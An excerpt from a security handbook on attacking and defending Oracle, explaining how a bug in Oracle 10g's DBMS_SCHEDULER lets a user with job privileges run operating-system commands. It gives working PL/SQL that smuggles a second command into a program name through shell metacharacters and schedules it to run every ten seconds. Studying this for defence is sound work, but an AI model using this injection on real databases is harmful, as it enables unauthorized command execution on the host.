The Oracle® Hacker's Handbook: Hacking and Defending Oracle

10.3. Running OS Commands Using DBMS_SCHEDULER

DBMS_SCHEDULER is a PL/SQL package introduced and shipped with Oracle 10g. This package was created to enable DBAs to schedule the execution of predefined packages and shell scripts, such as Windows batch files and Unix sh files, as "jobs." The CREATE JOB privilege is required to successfully submit a job using DBMS_SCHEDULER. Execution of programs is not allowed. However, there is a bug that allows this restriction to be bypassed. By embedding shell meta-characters such as the ampersand (&) or pipes (||) in the name of the program to be run, it's possible to execute programs:

BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
--  Use the ampersand to break out
program_action  =>
'c:/foo.bat'||chr(38)||'dir>c:/oraoutput.txt'||chr(38)||'c:/foo.bat',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
);
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
   job_name=> 'X',
   program_name=> 'MyCmd',
   repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
   enabled=> TRUE,
   comments=> 'Every 10 seconds');
END;
/

The OracleJobSchedulerSID service must be running if you want to run OS commands via DBMS_SCHEDULER. If it's not, then the scheduler will generate an error.